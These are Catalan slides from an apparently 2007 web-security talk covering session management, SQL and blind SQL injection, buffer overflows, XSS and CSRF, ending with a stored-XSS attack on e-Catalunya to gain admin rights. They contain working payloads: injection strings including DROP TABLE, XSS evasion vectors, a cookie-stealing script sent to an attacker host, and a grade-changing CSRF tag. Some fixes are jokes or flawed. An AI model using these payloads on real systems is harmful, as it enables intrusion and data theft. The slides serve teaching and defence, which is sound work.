  • 31. • Recomanacions en cas d’inventar-se un sistema de sessions • La session Id no s’ha de poder endevinar • Ha de ser suficientment llarga (20bytes) • Ha de ser suficientment aleatoria • Ha de ser única per cada usuari loggejat • És díficil mantenir aquestes propietats • No és tants sols un idintificador aleatori • S’utilitzen algoritmes de disperssió • Hi ha contingut criptgràfic LCFIB- 2007
  • 32. • En resum, recomanacions geneals • Donar un mecanisme de LogOut • Les sessions haurien de caducar • Invalidar la cookie anterior en un relogin. • No s’haurien de loggejar ni cachejar sessions • No posar la session Id a la url com a paràmtre GET • No inventar-se el sistema de sessions LCFIB- 2007
  • 33. Una bona gestió de les sessions implica una aplicació segura? LCFIB- 2007
  • 34. Vulnerabilitats més usuals LCFIB- 2007
  • 35. • Validació de l’entrada • SQL Injection • Blind SQL Injection • XPath/Command/Altres Injections • Buffers overflow • Cross Site Scripting (XSS) • Cross Site Request Forgery (CSRF) • Remote file inclusion LCFIB- 2007
  • 36. Validació de l’entrada • Adonar-se del contingut que es pot posar dins un formulari • Detectar si el contingut és realment l’esperat LCFIB- 2007
  • 37. SQL Injection • L’atacant envia una petició HTTP al servidor web • El codi del servidor web realitza operacions per les quals no està preparat. • Es retorna una resposta a l’atacant amb dades que pretenien ser Atacant segures. Servidor Web LCFIB- 2007
  • 38. SQL Injection • Són vulnerables aquelles aplicacions que tenen de backend una base de dades SQL <form method="post" action="http://www.diseney.com/login.php"> <input name=“username" type="text" id="tfUName"> <input name=“password" type="password" id="tfUPass"> </form> String username = request.getParameter(“username”); String password = request.getParameter(“password”); String sql = “SELECT * FROM USERNAME WHERE username=‘” + username + “’ and password=‘” + password + “’”; ResultSet rs = smt.executeQuery(sql); If( rs.results() > 0) login = true; else login = false; LCFIB- 2007
  • 39. String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND password=‘” + password + “’”; Username: admin Password: 1234 SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘1234’; Username: admin Password: ‘ OR ‘’=‘ SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘‘ OR ‘’=‘’; Username: admin Password: ’; DROP TABLE logins where ‘’=‘ SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND password=‘’; drop table logins where ‘’=‘’; LCFIB- 2007
  • 40. Com s’evita la SQL injection? És tan fàcil com escapar cometes “  ” ‘  ’ LCFIB- 2007
  • 41. Blind SQL Injection • Tot hi escapar les cometes... <form method="post" action="http://www.diseney.com/login.php"> <input name=“username" type="text" id="tfUName"> <input name=“pin_code" type="password" id="tfUPass"> </form> String username = request.getParameter(“username”); String pin_code = request.getParameter(“password”); String sql = “SELECT * FROM USERNAME WHERE username=‘” + username + “’ and pin_code= ” + pin_code; ResultSet rs = smt.executeQuery(sql); If( rs.results() > 0) login = true; else login = false; LCFIB- 2007
  • 42. String sql = “SELECT * FROM logins WHERE username=‘” + username + “’ AND pin_code=” + pin_code; Username: admin Password: 1 OR 1=1 SQL generat: SELECT * FROM logins WHERE username=‘admin’ AND pin_code=1 OR 1=1 Altres vectors: 1 OR HAVING 1=1 Error, ‘cuenta_corriente’ is not on the group by clause 1 OR GROUP BY cuenta_corriente HAVING 1=1 Error, ‘dni’ is not on the group by clause 1 OR GROUP BY cuenta_corriente,dni HAVING 1=1 Error, ‘direccion’ is not on the group by clause 1 OR (SELECT cuenta_corriente FROM logins) = “1234 1000 6666 45256” 1 OR (SELECT cuenta_corriente FROM logins) > “5000 0000 0000 0000” 1 OR (SELECT substr(cuenta_corriente,1) FROM logins) = chr(1) LCFIB- 2007
  • 43. Com s’evita la BSQL injection? És tan fàcil com validar els enters String pinString = request.getParameter(“pin_code”); try{ int pinCode = Integer.parseInt(pinString); }catch (NumericException ex){ System.out.println(“Hacker go away!”); } LCFIB- 2007
  • 44. Buffer Overflow #include <stdlib.h> #include <stdio.h> char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string; } LCFIB- 2007
  • 45. INPUT • Codi a executar (shellcode) • Acabar d’emplenar fins 1024 bytes • 4 bytes qualsevols • Adreça de retorn que ha de conicidir amb l’inici del buffer LCFIB- 2007
  • 47. Buffer Overflow #include <stdlib.h> #include <stdio.h> char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,query_size,1,stdin); return query_string; } LCFIB- 2007
  • 48. Solució: comprovar tamany de l’entrada #include <stdlib.h> #include <stdio.h> char* read_POST(){ char query_string[1024]; int query_size; query_size = atoi(getenv(“CONTENT_LENGTH”)); fread(query_string,min(query_size,1024),1,stdin); return query_string; } LCFIB- 2007
  • 49. Altres injections • Depenent del backend que s’utilitza • Validar que l’entrada no pugui ser interpetada com a codi del llenguatge per communicar-se amb el backend • XPath injection (Base de dades Exist, arxius XML) • Command injection String consulta = “user[name/text()=‘” + usuari + ”' and password/text()=‘” + password + ”']/account/text())” XmlReader.query(consulta); LCFIB- 2007
  • 50. Cross Site Scripting (XSS) • És una vulnerabilitat que permet executar scripts al exploador de la víctima • Perquè XSS? • Són vulnerables els navegadors que utilitzen Javascript (la majoria) o VBScript (internet explorer). • Es poden posar scripts malignes en pàgines web • Conseqüències • Moltes vegades aquest script el que fan és robar cookies • Es poden “desfassar” webs • Si l’explorador té un bug del sandbox estas perdut LCFIB- 2007
  • 51. Stored XSS • L’atacant troba un lloc web on poder posar JavaScript • L’atacant posa un script maligne • Qualsevol persona que visiti aquest lloc web estarà executant aquest script • L’script pot enviar la cookie a la pàgina de l’atacant i aquest pot realitzar un atac de suplantació d’identitat. • Si l’explorador té un bug del sandbox l’script pot navegar a altres llocs webs i robar dades confidencials, adreces de correu (gmail), contes bancaris (bancs), sessions, etc. • Si l’explorador corre en permisos d’administració es poden arribar a crear arxius a disc i executa codi arbritari. LCFIB- 2007
  • 52. Reflected XSS • L’atacant no pot posar directament javascript • Aquest troba un camp a un formulari on el s’introdueix apareix directament per pantalla (exemple: buscador) • L’atacant genera un link malicios per tal de que quan es cliqui s’executi aquest script •http://www.disney.com/buscador.jsp?s=<script>document.url=“http://hacker/pagina.php” > • Quan es clica el link l’usuari veu per pantalla el que ha buscat, que en aquest cas és: <script>document.url=“http://hacker/pagina.php”+document.cookie;</script> • S’envia la cookie a la pàgina de l’atacant • Els atacs XSS es tornen molt més perillosos si s’utilitza AJAX perque es poden tenir peticions obertes invisibles. LCFIB- 2007
  • 53. Com s’eviten els atacs XSS? S’anula completament el “Rich Text” o Es posa un ciri al monestir de Montserrat LCFIB- 2007
  • 54. Vectors XSS <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;& #97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x 61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> LCFIB- 2007
  • 55. Vectors XSS <BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")> <<SCRIPT>alert("XSS");//<</SCRIPT> <iframe src=http://ha.ckers.org/scriptlet.html < ";alert('XSS');// <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS')"> LCFIB- 2007
  • 56. Evitar XSS • Cada dia en surten de nous • Són molt difícils de detectar • No hi ha cap llibreria que els detecti • Es poden evitar utilitzan application firewalls • Pàgina web de referència: http://ha.ckers.org/xss.html • Codificant l’entrada amb entitats HTML s’evita, es perd el “rich text” • S’han de seguir polítiques molt estrictes • Utilizant wrappers (llenguatges intermitjos) s’eviten LCFIB- 2007
  • 57. Cross Site Reference Forgery (CSRF) • Bàsicament consisteix en aconseguir que l’explorador de la víctima visiti URL arbitràries. • Es com si l’atacant t’agafa el ratolí i et fa clicar allà on vol • Permet realitzar operacions complexes (logejarte en un banc i fer una tranferència) • Consisteix en posar les url’s que es vol que la victima visiti dins d’un tag <img> • Exemple: Enviem un mail al webmaster del raco amb la següent imatge <img src=“http://raco.fib.upc.edu/posar-notes.jsp?user=hacker&asig=TC&nota=10”> LCFIB- 2007
  • 58. Com s’eviten els atacs CSRF? Deixant d’utilitzar el correu electrònic. Molts lectors de mails pregunten abans de carregar imatges. LCFIB- 2007
  • 59. Evitar CSRF • Passant paràmetres per POST • Les operacions sensibles s’han de fer en diversos passos • No obrint imatges de correus electrònics de persones en que no es confia • La combinació de XSS + CSRF només té una forma d’evitar-se • Abans de realitzar operacions sensibles (notes, transferències bancaries) posar sistemes anti-robots: captcha, preguntes, operacions matemàtiques LCFIB- 2007
  • 60. Exemple pràctic amb e-Catalunya LCFIB- 2007
  • 61. Objectiu • Sense tenir privilegis crear un usuari amb permisos d’administració Procediment • Esbrinar URL de creació d’usuari i canvi de privilègis • Creació d’un script que cridi aquestes URL • Adjuntar l’script en una eina • Fer que un administrador executi aquest script En la última versió: Modificació per tal de no poder incluir script a les eines Problemàtica: Dificultat de detectar la inclusió d’un script LCFIB- 2007
  • 63. Obtenció d’URL d’administració Hacker Obtenir URL CREAR NOU USUARI + Esbrinar la URL de la pàgina de crear un nou usuari + Esbrinar el nom dels camps del formulari (nom, id, email) + Construir URL tal que si s’accedeix a ella es dona d’alta l’usuari especificat ASSIGNAR PERMISOS D’ADMINISTRACIÓ + Idem que l’anterior però usant la pàgina d’assignar permisos LCFIB- 2007
  • 64. Creació de Script maligne Hacker <script> … crear_usuari(X) fer_administrador(X) … </script> SCRIPT + Cridar URL1 (crear nou usuari) + Cridar URL2 (assigna al nou usuari permisos d’administrador) (si s’utilitzen peticions AJAX l’usuari no se n’adona de que ha executat un script) LCFIB- 2007
  • 65. Introduir SCRIPT a l’e-Blog Hacker Introduir script maligne com <script> a comentari … a l’e-blog crear_usuari(X) administrador(X) … </script> LCFIB- 2007
  • 66. Ingenieria social Hacker Administrador Enviar un mail a l’admin amb l’enllaç al blog Quan l’administrador vagi a veure el Blog, si aquest està identificat, s’executarà l’script insertat. Aquest crearà un nou usuari amb permisos d’administrador que el hacker podrà utilitzar per fer maldats. També es podria robar la cookie de l’admin per tal de fer una suplantació d’identitat. LCFIB- 2007
  • 68. Exemple pràctic amb e-Catalunya LCFIB- 2007